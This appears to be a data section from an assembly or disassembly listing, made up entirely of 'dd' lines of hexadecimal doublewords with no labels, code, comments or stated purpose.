		dd 9214C565h, 895EB2F5h, 0B3DDF2Dh, 0BBB46280h,	259D89FCh
		dd 18551901h, 43F38089h, 0E15BAF41h, 2C232C95h,	8571EC0Ah
		dd 0AECD163Bh, 1189229Bh, 0EA599904h, 5E34BA8Fh, 482EB251h
		dd 2ECE00ACh, 0E476118Eh, 17AD7138h, 0E7B1BE90h, 0A311260h
		dd 446E99AAh, 0E0B3EF45h, 9DDF4B79h, 0E39A2E0Ch, 19A06F81h
		dd 0C1EA2133h, 35D88BCBh, 401CFE21h, 2972D2BFh,	17891148h
		dd 1CFC89B7h, 82F1DB93h, 703E5A19h, 0CB0D55C3h,	0DB9ABC3Eh
		dd 5DBBF5EAh, 19189B5h,	0B76A147Fh, 8B13C2FBh, 3F0232BBh
		dd 3DD797ABh, 2D79827Dh, 467F6072h, 1AB9010Dh, 9483EEDh
		dd 17AB2A8Dh, 92BFFDE0h, 32A8C60Eh, 1CADA6A9h, 3C1FAE95h
		dd 0E3C1DE01h, 69A776A1h, 0B5D7DC2Fh, 172B0941h, 4A09B31Ch
		dd 527579C1h, 5051033Bh, 189BF20h, 4C75CAB9h, 9EBB123Bh
		dd 27BFB1E0h, 0A09E523h, 77570905h, 1704CABDh, 0DABFF5A4h
		dd 0C918C89Ah, 0B44BE5Ch, 9CBC00C5h, 0B2D9E65Eh, 0F822301Dh
		dd 4CF59400h, 0A931FC8Ch, 0B7DC90CAh, 71974FD2h, 0EE488E92h
		dd 0C007B424h, 5F57DEFAh, 555B6127h, 4BC9A7A7h,	0C7606D75h
		dd 82100E16h, 0D5B2779Eh, 44BD7466h, 4215004Ah,	0B8ED3DCCh
		dd 85041EEEh, 97690F83h, 67A61984h, 0AD545B25h,	0D4A77CE9h
		dd 0D71A2904h, 1AB83EEBh, 0FE2C10A2h, 501F40A1h, 5A8C7DD1h
		dd 6BFFF5C5h, 0E162325h, 0B34506C6h, 0C898EA32h, 0BDDE5AB7h
		dd 9318AC41h, 0FBD70176h, 7EEA7C90h, 3ACC9C4h, 0DB1460CCh
		dd 0C216C290h, 0CABFE774h, 50E54E92h, 89C2302Ah, 2A4E158Dh
		dd 19A82AA9h, 52931F8Ch, 0BE7C00E4h, 662ED381h,	65585025h
		dd 26B783E6h, 0FDEA8956h, 5B124278h, 0CEB1EAE9h, 0EEF09236h
		dd 0B79DC18Bh, 23390082h, 40DD8B7Eh, 42176109h,	0FC102946h
		dd 1D46D675h, 2C7E8A00h, 3A07DADBh, 4BE0493Bh, 0EC183A0h
		dd 9509E292h, 82A62548h, 5FE4A7h, 0B116C14Ah, 13A84EECh
		dd 0A289B51Dh, 5D117700h, 0BE0AB38Dh, 0D6F4AFE3h, 0B85400F6h
		dd 1EABEEEFh, 0C705AE78h, 2918CB80h, 0FB2D217h,	244AA24Dh
		dd 0C7CCEA90h, 981050B3h, 4A162FCBh, 0C04235FEh, 0E1A84D05h
		dd 20A665D7h, 0D99FF96Dh, 57B30E82h, 0F15C05F2h, 124C8C01h
		dd 0F6B74BA1h, 1DF40956h, 42F30C3Bh, 1FCD8D29h,	0F564B97Fh
		dd 0E471C77Bh, 14E3AE1Ch, 34E7A303h, 2AD8D25Fh,	0E3020338h
		dd 0CC89597h, 0CBF3D74Eh
		dd 5F0DFD8Ch, 8744B5D1h, 0DCF62B00h, 6BDE798Fh,	89A500C1h
		dd 0E2585E32h, 0B14F6EF3h, 1D20A1ECh, 0ECA5F4Ah, 68D39927h
		dd 546FD8h, 8BFA5B4Bh, 0BECAE279h, 5C27DB9Bh, 0B80292F1h
		dd 50807C0Eh, 0FE0944E8h, 0C5566404h, 9F828094h, 0E6587D86h
		dd 0BCED51A3h, 2C2B3BF7h, 7452905Fh, 0AD01D4C1h, 61C4690Ah
		dd 0B6686033h, 0B89AFD7h, 4030BF2Ah, 0B861FBBFh, 82520F6h
		dd 4DDF8004h, 3FACE5E9h, 416D5E1h, 9BF60B84h, 0B4FB7BE0h
		dd 0FF6F5227h, 5D2FC735h, 0ED5B3930h, 20AF164Eh, 1F31BF6Bh
		dd 88DC04B7h, 0A430ECAAh, 7BFF1385h, 1E020049h,	0C7BDE4B1h
		dd 0C9D881AAh, 4D352B4Fh, 0C07D9BEEh, 0FC473DEEh, 814801A2h
		dd 5EC18DC7h, 5BF23F7Dh, 0FF16158Eh, 6A5ECC8Eh,	3A480046h
		dd 18F4A034h, 0DB813891h, 2947AE0Bh, 2C55D902h,	400ECFDDh
		dd 949DA60Dh, 0F9C85809h, 11595B22h, 75BB0103h,	0B07F40C3h
		dd 0E643453Eh, 212F070h, 9571E480h, 41E74AA4h, 10B58D31h
		dd 602DC87Fh, 0ECC98100h, 0B72F83EDh, 0CD614AAAh, 85F02F4Eh
		dd 300D4165h, 0BD120398h, 56B608F5h, 0FC23A513h, 8005C8C6h
		dd 0A9E6E883h, 0C84A2BA1h, 6E0B3B20h, 0FE5A0059h, 80D18B5Bh
		dd 0E92E24E3h, 0FC693892h, 0DEF6255Ch, 7BE60193h, 1A22CF03h
		dd 2022EC92h, 0D55B5FC5h, 0EE97FFFEh, 79D40509h, 8E2CAFFh
		dd 9A1F658Dh, 0EEDF1756h, 7312526h, 660B416Eh, 0D7140ABBh
		dd 3D54F11Ah, 1F4F3145h, 0FAF2F715h, 0C98D0F84h, 196810DDh
		dd 0C3002A93h, 5BE78123h, 9054781Ch, 85955346h,	0B267FB5Bh
		dd 7D499783h, 5D98C4A0h, 17AFA53h, 0CA29B000h, 17B559B3h
		dd 0A9527618h, 95E13D56h, 282389Ah, 0B90124A5h,	7A3E0F90h
		dd 75001B8h, 0BBE44EF0h, 541DDDCh, 9D8D0902h, 0FCAD222Ch
		dd 0DCAB74h, 0ADF7784Dh, 0E484CFA2h, 53BB260Eh,	96B29A5h
		dd 4ACE521Bh, 5B43E3FCh, 4B3D40B0h, 7E4FCE5h, 1428C5D3h
		dd 6EAED275h, 0D780158h, 14AADEFh, 5301FE63h, 1520FD24h
		dd 7989C49Ah, 350985E0h, 59B4A899h, 9D8BE36Fh, 2DEBADCh
		dd 4080A5C0h, 78AB880Dh, 21DE6ED9h, 0EAECCB8Ah,	4AB78828h
		dd 5F21A7FBh, 648058DAh, 6A9A85AFh, 0DB76BB61h,	2E2B9243h
		dd 0C018C85Ch, 1F2C464h, 465B44Ch, 1EC19529h, 0AAE45BACh
		dd 9BEE6717h, 0FFA937Ah, 638776C6h, 78595930h, 0F9BD0B04h
		dd 6B2A04A1h, 1C1A2379h, 9B36C1A7h, 75D6530Ch, 92E76FACh
		dd 85192AA0h, 80FDC401h, 0F8FC05A8h, 0C97C282Bh, 0E02A4D8Ah
		dd 0BA5370A4h, 0D8DFB58h, 0B8A86EF8h, 52A256D6h, 5E2F83FEh
		dd 5125DE24h, 1190651Ah, 0A0BF054Fh, 84AB42ECh,	47CA977h
		dd 71E9F8B0h, 7769255Fh, 45811430h, 2D2B2BB9h, 0A9142957h
		dd 545A83Eh, 55850953h,	615FA392h, 7FD635F2h, 1A912EB7h
		dd 0D8000E92h, 9F5891A2h, 101BEDE1h, 8805E960h,	0CB129E5Eh
		dd 0C388709Ah, 18F500C8h, 0CEB84DA8h, 5E114313h, 324C5061h
		dd 375F6A27h, 8BC40AB3h, 7202803Fh, 6848F4D0h, 7B0B9109h
		dd 0B8105FB5h, 6F0BCEFCh, 8B6ECD77h, 0ECC7D81Ch, 4AA325F8h
		dd 0C6C0276Dh, 484D245h, 0E918DC39h, 0DA0BC294h, 51FBF377h
		dd 6E2D491Ch, 0B0D262ADh, 0EA4A64B0h, 0F2BB8ECCh, 61D50934h
		dd 947FAFE9h, 0F88A25AFh, 0CDB75464h, 0EA48E214h, 2BD9A961h
		dd 20DE6F13h, 0B8C7EBC0h, 0B325C5E8h, 9F756689h, 1F148604h
		dd 65D0876Dh, 391EDFEEh, 5A39FEADh, 3452FF09h, 0E3494DB5h
		dd 3BA8379Bh, 0EB3D394Dh, 0FF602FC8h, 0B365D710h, 0CC7D6200h
		dd 0BA614826h, 0C3321724h, 3A0BE521h, 1BA39612h, 0E1167B4Ch
		dd 5FCBBF02h, 7EE6BB00h, 0BF506A5Dh, 6FF73708h,	4FD64B42h
		dd 61D75431h, 0C094AC3Bh, 15EBE437h, 1ADC0733h,	50A5D28Ch
		dd 7E4E2AC4h, 22E50804h, 5B083048h, 7B38B17h, 0FF784416h
		dd 0A081A220h, 0FE3B07FBh, 95F4FC21h, 58962282h, 0BA00E4F9h
		dd 72CA8E59h, 78F50028h, 2F945ACFh, 8D218A04h, 0E1562D85h
		dd 0E0029065h, 5C509E4Ah, 0CABE4036h, 0CF002282h, 0E70E2A04h
		dd 712BDEB9h, 4E3F7CD8h, 0E0B6F690h, 75596626h,	551B25A2h
		dd 2D8B35D5h, 0BEA42430h, 3DB07D09h, 0DDA58269h, 2FC0510h
		dd 17B5BDFAh, 0A56DED7Fh, 0A0500BF3h, 71E026FFh, 25C91CE3h
		dd 1218B247h, 179CBF35h, 44353A86h, 0ACB89B7Ah,	51B1925Ch
		dd 0BEA3E62Fh, 18161423h, 6ABDD7ADh, 0A292BAB9h, 4148493h
		dd 393EFC10h, 1CDC5D3h,	0CFB97B26h, 5100C8B8h, 5A9A55B1h
		dd 0B5898771h, 0A67A8340h, 81B3B0BDh, 0A09709EBh, 8E5A42FEh
		dd 0D0FF53B5h, 60017929h, 25DB2D18h, 36F0E19h, 836ACB3Ah
		dd 13DB5F8h, 45D6F197h,	0C8F3AC81h, 9741AF49h, 9BF86F04h
		dd 724600ABh, 365B376Ch, 98D98FCh, 52731F2Fh, 9D29B3A2h
		dd 0A44165FFh, 7B7960D5h, 4D12DC3Ch, 95B305C4h,	20AA8B32h
		dd 42E96DB1h, 52DFB96Ch, 30CD9F0Ah, 9611664h, 86706059h
		dd 9CB7C44Fh, 68D096B0h, 8A2FDA74h, 0C7D90173h,	0ED3A23F3h
		dd 530CAD98h, 0E04E2534h, 0D5614BDEh, 10DCA3F5h, 33930550h
		dd 58B19531h, 85BD7285h, 34FE174Ah, 0A0D0B6D9h,	2D8DDE43h
		dd 0F9FC17B6h, 0EA3917F6h, 0A56BFF97h, 1283142Bh, 2B2CF1ECh
		dd 0D3810430h, 8671225h, 47CC0472h, 0B45FA29h, 0E2BF1D9Dh
		dd 94AAC53h, 2B111D3Ch,	4ADCD889h, 1A46D6h, 436C7ECAh
		dd 0B8C17B0Ch, 51416242h, 0D0DA5696h, 7997D6E4h, 7D5B9F10h
		dd 7819E584h, 4708AA10h, 1F60930Ah, 0B640780Ah,	7CAF61E4h
		dd 2F35EBE0h, 129C5A9Fh, 2FFDE1B4h, 15B26DE6h, 956DA730h
		dd 0C051A389h, 9D203844h, 6089253Dh, 0C82FD1E1h, 2100F220h
		dd 0CBDD2CA8h, 0B964E753h, 0E66D27F2h, 0E7EFBBC4h, 0B07F311h
		dd 2C69B5A0h, 0FEB69A7Fh, 9DD6BE2h, 79A95BF8h, 0E56A191Ch
		dd 0DB92D456h, 66B2F025h, 2F8B98F2h, 0AEFE31ADh, 212E4A71h
		dd 4326D73h, 79B5B202h,	0C03AFD25h, 0FB77A78Fh,	0B6BFC485h
		dd 2C72A559h, 4358FF36h, 63C6F532h, 0FB9C8B95h,	6DF76BE8h
		dd 0E4DD4B56h, 97E97004h, 556E1A0Ch, 0C18BC3C4h, 551F98D2h
		dd 1691A737h, 0B00B7484h, 0C61BA0Dh, 331D8DA4h,	0FEDA572Bh
		dd 62E82534h, 90D26A1Ch, 0B5CD5E1Fh, 0B07D04AFh, 25B0A12Dh
		dd 0BAF7E6B1h, 989229EAh, 403212h, 9F3A352Ch, 6A5B4A31h
		dd 78B57BB5h, 371F01C7h, 0F3578656h, 150BADA2h,	1F7EDBDFh
		dd 53A5458h, 42FB1998h,	0A7AB02C2h, 37DF4A25h, 87CA5A2h
		dd 830FC897h, 66436422h, 4E5D18B8h, 0CE95E1B8h,	90D812E8h
		dd 84C8AB60h, 4A799561h, 35D87E87h, 9CF0A530h, 0D7EB001Eh
		dd 46DB3812h, 22E0E068h, 42905526h, 0FCB14DEh, 800B1A82h
		dd 0C75C2E3h, 5B8B50DBh, 0E665FBFBh, 7631CC09h,	0BF564FF4h
		dd 151489Ch, 748539BFh,	88525B19h, 6232928h, 12D1FF5Fh
		dd 479503F4h, 766111Dh,	3EC381F5h, 6A6CF8A0h, 5E507602h
		dd 0EE29BF8Ah, 5C559331h, 0F119DC6Fh, 0D91C3E31h, 81872A2Dh
		dd 0DE08FE99h, 5C041546h, 0BF2CE9B8h, 0B124648Eh, 60562E52h
		dd 89139C53h, 0D673A017h, 4682BB9Bh, 7ED6A02Bh,	40FC2D40h
		dd 0EA303D96h, 5C980780h, 5144239Fh, 0CB367526h, 5F250290h
		dd 35BD00CEh, 9D4D02C8h, 9758809h, 0E312302Ch, 0E66004C7h
		dd 843DA751h, 6FBC1329h, 0F9510048h, 0C59DB129h, 7B6D2769h
		dd 0C03A6891h, 940025FCh, 0E5A94220h, 4C7EAC9h,	0EEF5841h
		dd 840BB9D2h, 2AAAFE8Bh
		dd 7513C038h, 253E9D20h, 0B944D8E5h, 85C1E13Fh,	5BF8D740h
		dd 23E16BFEh, 10D5001Ch, 812647C7h, 62F4B215h, 42EE5B36h
		dd 759D23DFh, 6A89C55Eh, 0C0CC4DFFh, 5E4D9E88h,	118EC148h
		dd 0B50824D9h, 5D2510ADh, 0B1954D44h, 22165824h, 701E2520h
		dd 0E6F812B0h, 0ABE31670h, 5BC75B3Ch, 7BBF857h,	26F482BFh
		dd 50337219h, 0E49D2B2Dh, 84D58206h, 39B81915h,	2A2D1E98h
		dd 3D6C95h, 348C24F4h, 414EB7E2h, 35C66105h, 82EE221Ch
		dd 4B5C33BAh, 40D17449h, 0D86C1DAh, 79E43D02h, 0C29D6915h
		dd 210FCE6h, 1D718531h,	942555Ch, 93F5D2BDh, 259EACB4h
		dd 80795E62h, 79D7F800h, 7604056h, 95922D99h, 4F2640E5h
		dd 4DBC330Ah, 390BEF02h, 9D4F504Dh, 9855659h, 0BA23FD9Dh
		dd 0BB17029Eh, 7F4A8BAh, 5504725Ch, 0B2AF4947h,	61D44AF4h
		dd 5258E4FFh, 2D54F398h, 22D65FAAh, 0A0C3D3ACh,	11F8ABF6h
		dd 6D3AF13Eh, 0C9032593h, 0E64C1D79h, 4DC08A0Ch, 3D2CCDBBh
		dd 8225148Bh, 52E961BDh, 2590B00Bh, 7FCE2AF9h, 0BCF8102h
		dd 5C0ADA3Ch, 572F447Bh, 255E8DA0h, 7BCC5F46h, 7852F868h
		dd 0C80FD21h, 99378A72h, 93EB003Ah, 0DDD2343Ch,	0A3126D01h
		dd 79E639C0h, 49A78B0Bh, 0AE79B953h, 50CD07C8h,	95DFAFEh
		dd 18399D01h, 62CACFF5h, 5EE079D3h, 155E05BDh, 0D68FF6E9h
		dd 14ACF020h, 1A05F25Fh, 0DCB239C2h, 0D180BABh,	8D96E7Fh
		dd 28F19D29h, 57107B89h, 9502FBBDh, 5C809BEAh, 13922DA3h
		dd 9CAF40D5h, 3AD500E6h, 7795D43Fh, 0F02F9F73h,	0C3026DFCh
		dd 24136EB6h, 3B52B585h, 6FEBD1D4h, 0A3AB120Ah,	0B13ECCBFh
		dd 17091F40h, 0FF246595h, 0A6D2822Ah, 3CEB0023h, 65D6B860h
		dd 0BE6B01C2h, 3793ED0Ch, 807A2861h, 0BDE01BD0h, 1E6C00EBh
		dd 1A90C9FBh, 93985E58h, 809CF200h, 0DA8B6BD1h,	0F7884B0Dh
		dd 9F99B049h, 0C770F946h, 20792585h, 0BA53EBFCh, 61D05CD9h
		dd 3BD1F380h, 0B7AC86F8h, 0E450F872h, 0F6B799B0h, 0A79C71BCh
		dd 1577D695h, 16BCF009h, 0CB850F8Ch, 0E1E0601Bh, 559B9525h
		dd 61D5B012h, 6A4A95E7h, 0D22B0057h, 0FB1CBCFAh, 0DB5EB767h
		dd 0BD4DB563h, 9F0398FBh, 0C1985207h, 0E05B3554h, 0B4E1FF52h
		dd 9117DCD7h, 0C4AE2F2Eh, 0FA38FE10h, 2044143h,	0E77FE1BCh
		dd 44B8B23h, 66807EBDh,	222E5AE9h, 0F6CD5F03h, 62C49749h
		dd 74A493C4h, 0ECD50008h, 0AC128332h, 0D700E63Eh, 95D1A227h
		dd 47F1822h, 615A911Bh,	8FB252h, 5BAC05D8h, 0FC4B495h
		dd 0A51B3C2h, 5D898640h, 0B70BCA75h, 53605B26h,	80D378F0h
		dd 53DF0997h, 0C1E07021h, 0B7B84C1Fh, 890DD24Bh, 17FC6B48h
		dd 0FD31250Ch, 0ACBB919Ch, 0E04202A1h, 0E1436F5Ah, 6912A5Eh
		dd 55B5290Bh, 46F45FFEh, 2B137B17h, 0AEF12545h,	0C3B4EC3Bh
		dd 3B1C99B5h, 0F0CABD69h, 51979064h, 0D08A42AAh, 0BF016056h
		dd 29AFF5BDh, 0F57418AFh, 23FD40B1h, 0A7F85445h, 20C07480h
		dd 6907B8FEh, 335989BAh, 49662997h, 5BFF2E94h, 12E108C5h
		dd 86886805h, 1279B8A0h, 0E03BF8FDh, 7D1277F0h,	1A853CC8h
		dd 8AFEC5C5h, 0D203A074h, 0F97512E2h, 52C81DD5h, 83B2EA17h
		dd 6E60A14Ah, 82ECA8F9h, 0AF356B01h, 0FDB3AE4Ch, 1C7DC288h
		dd 0FCBEE90Ah, 0BFAC3F48h, 7958CA09h, 8EA3A900h, 7D2EE5DDh
		dd 93F4560h, 0C600FDDAh, 2FE84259h, 4BA27C08h, 0BF16C5C8h
		dd 0AB62637Bh, 0F35F2EC9h, 0AF18B4B9h, 232783E7h, 89EC27FFh
		dd 5818F7EBh, 0E23AE781h, 736B254Ch, 181A59EDh,	0C0640EA0h
		dd 0C489D430h, 2F2C2A61h, 50F52021h, 4009B373h,	0F35FD95Bh
		dd 97B789ECh, 5DFD097Fh, 328136B7h, 0BA61ADA4h,	123CBFDCh
		dd 0F65F44AAh, 49850820h, 0C6507918h, 5F95BAD5h, 0E2B5DEDAh
		dd 660E10AAh, 0C19A3ABEh, 0AF748BAFh, 2FE6C660h, 46B44846h
		dd 3C00E296h, 0F6010097h, 0AA3454DAh, 35E5002Dh, 0AFE915F9h
		dd 109D6D30h, 3C25F2h, 13340B46h, 8B411581h, 0A55FFA38h
		dd 709DDB58h, 3D7A1932h, 85296005h, 0DDBF1DF1h,	0B333AEh
		dd 0B396D52Ah, 13D87BE5h, 7E4DE88h, 0C344BB48h,	0AEBC0441h
		dd 328442DBh, 8A17D8FEh, 0F5E0D94Ah, 0A7BD50A3h, 0EF10C2F9h
		dd 1CD5FC07h, 43BD7A6Dh, 7B51CB2Bh, 0C1F3D891h,	6959D01h
		dd 117E096Bh, 0D2E9D034h, 7709A871h, 6EDE395Fh,	1F5A3C2h
		dd 5D45F3D7h, 6F0938A5h, 0F3D70980h, 0E9370CB7h, 206AD180h
		dd 94CB5078h, 2CC5259Dh, 0C0A8D816h, 0FC24CBF2h, 0C380FDB9h
		dd 6CAE889Eh, 0DE8B278Ch, 1F3C7610h, 88DAF200h,	0F1FF3770h
		dd 7375017Ch, 26366B15h, 0E5622E82h, 3E951980h,	6BFF6194h
		dd 1923B6h, 0D137B2C2h,	0F50B5DD0h, 766D8D29h, 1156A4E0h
		dd 0C3BF0205h, 6A562F0Bh, 0C7907FA1h, 3E0261C9h, 50DC7141h
		dd 2CC8F7CFh, 2848681Eh, 5BDA1567h, 0DF808291h,	69FEFEC9h
		dd 0E5986FFFh, 15A6C3F2h, 0B39BBF84h, 0A5C117C8h, 0B07AB935h
		dd 204EDDE9h, 0DFEB30AEh, 70F672B2h, 43861F01h,	0F5FB18AEh
		dd 0FDA9ED6Fh, 0C2BBC47Eh, 14D50D24h, 6F37BFECh, 5860790Bh
		dd 80D6B110h, 0DFCD6E37h, 83931143h, 0EE26040Ah, 0C1CC5C6Bh
		dd 2BE1CF45h, 71747EF4h, 68B79758h, 0BB821C11h,	58F53D8Ch
		dd 0B0B3E6F8h, 80C955F2h, 4A4D9660h, 121CE30Dh,	42F1DFB7h
		dd 0B96E2Bh, 4068A6DEh,	0B0E70942h, 3CCF1206h, 8434B932h
		dd 2FBCFE8Bh, 964051CBh, 9087AF0h, 9811C98Dh, 0D88A885Fh
		dd 0CF87059Bh, 735E3851h, 0BD7860FFh, 4382096Dh, 0E421ABFDh
		dd 25D0B6FEh, 2F5E79F8h, 0B7C01FEDh, 22DFAEDh, 9C7F83B5h
		dd 8477639Fh, 3AB92227h, 5AE3B7D2h, 95A0ADA6h, 43032FE9h
		dd 69F48F21h, 2705C21Eh, 3BC1E16Fh, 0F1292E9Ch,	0EDE913EEh
		dd 0F1EE1532h, 0F2FEA36Fh, 47E1178h, 0A7C73069h, 0DFCCBA83h
		dd 0A1BD1223h, 0F2BCE62Bh, 9C73018h, 0D80CB217h, 54331B4Bh
		dd 457C52D6h, 542D3823h, 0B87D2F28h, 0E29D0378h, 0D61C970Dh
		dd 4FDE5D5Bh, 0EDD2A4C0h, 25122EE7h, 88AF8CBEh,	0FCEE3D24h
		dd 0CAC98509h, 49ED71F9h, 10402B4Dh, 4A358529h,	2511E221h
		dd 0D13DFFFCh, 84BE1B15h, 0A8AEB98Ch, 0AFC9291h, 0E92F1920h
		dd 95CBF053h, 2E1208B7h, 93F5F601h, 0BA6DC18Bh,	0B16EEB8h
		dd 5DC0381Ch, 6E81F00Eh, 9D323EAh, 0F021467h, 3F0F11B5h
		dd 943CCFCh, 0B4A347Eh,	4ECD7D85h, 19584425h, 1AC22B58h
		dd 6AF4A4F0h, 5A4D3805h, 40FD62C4h, 50019D48h, 81D0033Ch
		dd 9245D93Ah, 0CC938419h, 34E0852Dh, 0A4D94FE9h, 4AB0C8B5h
		dd 1A220920h, 4F3C4003h, 28170A2h, 589F8B07h, 801CD112h
		dd 5BD8F805h, 0FB030C1Ch, 0DE328924h, 1208D84Dh, 64802BBDh
		dd 6D05508Fh, 0BBC45E83h, 8B51D121h, 1410EA70h,	14B0A981h
		dd 3AC1B569h, 215B6CC3h, 4A249107h, 68558CEEh, 3209DF95h
		dd 49CC5B57h, 41E9B558h, 93086982h, 20FAD3EBh, 0E5601C0Ch
		dd 9887CA00h, 525849DCh, 5ECF028Bh, 6C54C081h, 68CB81A1h
		dd 665534F3h, 16F9BE12h, 38A870BEh, 0EC03C781h,	527E86FEh
		dd 4679F8h, 2668ADD0h, 2D2B7BEh, 0EF3E2B7Bh, 7E50806Eh
		dd 743FB966h, 0F1D1F657h, 700BB2F4h, 0DCE6B58Fh, 0CEADEB00h
		dd 4F59BDAEh, 54C70087h, 0EFB7D9A3h, 645FD857h,	0F94B88h
		dd 4EBA9C2Ch, 360DC9CEh, 0F7404Ch, 6116D849h, 9804E883h
		dd 4BCA24D5h, 409E1234h, 8DC0BE18h, 9D000652h, 89946B1Fh
		dd 3074A98h, 79611AB7h
		dd 12A0B6E5h, 1005777h,	0A5F31B33h, 15DB8CEh, 854EA3Ah
		dd 0D877B6E1h, 62030642h, 4A3D884h, 0A750D0A2h,	0F012003Fh
		dd 0EEED0E48h, 6000E0FCh, 1084A8F1h, 2E857F9Ah,	34DA5D8h
		dd 0A18E48BFh, 0ED5DBCC0h, 6F094500h, 4AA7DA87h, 0D2F00DCh
		dd 3C301E21h, 6000069Ch, 38E00205h, 0D048E2h, 0C1DD9172h
		dd 0B87353CFh, 4D91800h, 0F38CFD34h, 393F009Eh,	98329DA8h
		dd 5E765FE1h, 5480139h,	0CBC06A04h, 0EA6BD000h,	130E1BF1h
		dd 0BFC88E88h, 3F2C0D00h, 0E4CEFB04h, 7D2B0351h, 5CC9EC99h
		dd 680D8FE0h, 0DBBF2C00h, 987270ADh, 174D0662h,	0E4DDC2EBh
		dd 0B65D100h, 0AA8F24FEh, 4A8A0354h, 1AB2D9BEh,	2C362ED8h
		dd 0A9F498FAh, 91AB6C00h, 3329DF3Fh, 0EB1600AEh, 0E3B17095h
		dd 0DB75C34Eh, 611C791Ah, 5DEF8040h, 0E4491C2h,	0C4706804h
		dd 0F2C567A0h, 3000C38Eh, 0A6751A2Eh, 14C3AFFh,	50FBF58Ah
		dd 60C2A133h, 9507B2BAh, 5585B131h, 0D44FDA30h,	0F6E70FF3h
		dd 0C5407F15h, 0B802AD7h, 3A3F1000h, 0CADEB12Bh, 84991DE3h
		dd 6807B58h, 0D9D8057Eh, 2E006ACEh, 54344256h, 1894C038h
		dd 203C826Fh, 6B002DDFh, 114793A8h, 73E62843h, 0A11B30E4h
		dd 0D85254B1h, 0D1E0F500h, 116BF3F1h, 0BBC500C4h, 13999845h
		dd 9F0E756Fh, 4B1519D4h, 28A80027h, 7EF7883Ch, 0B003502Eh
		dd 18EE4420h, 2D362F07h, 0C0270AD6h, 1CE00430h,	671200E7h
		dd 37B2CF77h, 0A03A1D47h, 0B0A41F34h, 50602C00h, 38B3F8h
		dd 3D43C38Fh, 804CD139h, 4D870707h, 0E9E0E5B7h,	7B81AF65h
		dd 5A9F002Fh, 54EDC7C1h, 30051E3h, 9C440552h, 3C612F7h
		dd 9D7CD96Eh, 1F807C9h,	5800100Eh, 951B7997h, 1D5C6D38h
		dd 0D4CD08D9h, 6200F4C8h, 74225B04h, 0D1CAA2ADh, 8000BC81h
		dd 1BFBAFD4h, 8A4000B9h, 190FDB6Dh, 1D073891h, 0DCB343Ch
		dd 0B02BAE70h, 599300DFh, 73E8824Ch, 9800A17Dh,	4E7E99A8h
		dd 92233AD0h, 61C30334h, 72F9EF9Fh, 8A29FBC0h, 43A80950h
		dd 99EC6245h, 0CC5A0E82h, 0BA80D16Bh, 3507E921h, 8AEC6100h
		dd 43C10D36h, 0E43D7FA7h, 0D75600CBh, 2ABBA022h, 0C250FA61h
		dd 0B5008AB0h, 95EF712Dh, 0F2AEE8h, 4E9C182Fh, 4AFD5F9h
		dd 7F94493Fh, 88D26A00h, 0BE53BA9h, 5DAD0071h, 0C21CC4A8h
		dd 3F004360h, 0CCF51F87h, 0AF4231h, 4E575234h, 163601D4h
		dd 15787600h, 5BF6BD79h, 1AEC00E7h, 0C98B870Fh,	80004B61h
		dd 0B8BEC4C7h, 1F42B6C1h, 5A6E97h, 442CFAD5h, 7800E949h
		dd 0CF6DF6CCh, 0C9D473h, 69B0BA28h, 8957F5BFh, 2262A904h
		dd 91C14852h, 0ECD8C3DFh, 28708Eh, 92A066C4h, 0BD6A3C6Ch
		dd 39BCD200h, 0E744F90Fh, 0B7D1078Eh, 47495E94h, 9099B0BBh
		dd 0DA508C15h, 609229B8h, 0A700DBECh, 0A1896713h, 72169D7Dh
		dd 9824046Bh, 80C371CAh, 0F6FC0554h, 70960F00h,	0A2AA35Fh
		dd 0C9B80036h, 0A7717E9Dh, 847448C2h, 5C00CE79h, 11A6ABA3h
		dd 38AF3Ah, 9EE9925Eh, 7386B323h, 9BB78200h, 7916410Eh
		dd 0D2A0066h, 32392FFCh, 0B30109D7h, 0B9354DF6h, 2F20C210h
		dd 4E3800A5h, 8C87FC96h, 3100AEBAh, 76F6894Fh, 2CEF433h
		dd 6920519Fh, 0C40B821h, 4D132396h, 3404CF2Fh, 34909753h
		dd 2034EBh, 4C1CE8F2h, 0DAA2FE41h, 1E620D01h, 6BB20AA3h
		dd 6512420h, 2FABF13Dh,	9BFC106Ch, 8FB66D01h, 0AFFC7970h
		dd 3B531980h, 0CAEF1ADBh, 4AFE2F1Eh, 4616870h, 347D000Dh
		dd 0FBC3D775h, 3100C1C9h, 0E973722Fh, 128294h, 74663388h
		dd 0C9D3FA2Dh, 145F002h, 0E099C4B5h, 114BF7h, 3691DC87h
		dd 8BBCC7AAh, 12F641EEh, 0DF5D5B18h, 3589639h, 0F8CDA444h
		dd 19010EAh, 0DE3BFC7Bh, 0F3880F7h, 0B00C5612h,	349089h
		dd 0BE2C3947h, 0C81EA4CAh, 7F5A2400h, 0AD6BF47Eh, 0A753033Fh
		dd 6913E0EFh, 0E92FD6B0h, 6E47AB1Ch, 1B63EDC0h,	78641AFh
		dd 18F5F031h, 4E2A4538h, 0D9C0A178h, 24CE4FC1h,	0D0E1562Ch
		dd 0EDA9503Bh, 20656F00h, 0C0048E07h, 77FF06F5h, 295228C2h
		dd 0B7EDD200h, 968893E9h, 61620F84h, 9F5F74D6h,	3F529C2Fh
		dd 0C0D88BBBh, 0C84AE100h, 768C599Ah, 913D62F0h, 0BBA983A0h
		dd 0E05E9CB5h, 0C06CFE63h, 98A3F1A8h, 210080DBh, 2C04AE4Fh
		dd 0E95C87h, 890D1CEEh,	646FBB8Dh, 0CE4F254h, 97A0C800h
		dd 761EAD53h, 7055005Ah, 3F28EAE5h, 435CB6E3h, 0C23E0614h
		dd 3F0C4DB4h, 411E9DEEh, 40169C37h, 0E968358Eh,	3B0099DFh
		dd 0BC9383Dh, 1639880Dh, 3D6DD5Ch, 0DC27AE70h, 2750087h
		dd 6B0528D7h, 1EB731B5h, 499DCC90h, 1F3901DEh, 9F1A3585h
		dd 0A31880B9h, 0A405FD6Dh, 755B1444h, 4C20181Fh, 0C53B3740h
		dd 702F08h, 9BD244AEh, 0B5003E47h, 0A09ADD51h, 0B05823h
		dd 521DE133h, 0A7E24864h, 1B3CEB0Fh, 0BB0987F9h, 0B7542250h
		dd 3EE60F5Ah, 5B471560h, 1AA380BAh, 0F301E29Dh,	0CE64B578h
		dd 0B6E4E43Eh, 1E592882h, 0E5EA00A8h, 0E1A4A9D6h, 85004FB1h
		dd 65DF3534h, 23EBE64h,	9C9562B4h, 0C0A6DE24h, 0E803D05Ch
		dd 4A76D6F5h, 4315AA30h, 6AC6F0B0h, 8F3A0E97h, 11C0C7F2h
		dd 1DB8239Bh, 92D92600h, 0E1646D7Eh, 0F78500C0h, 1051B62Ah
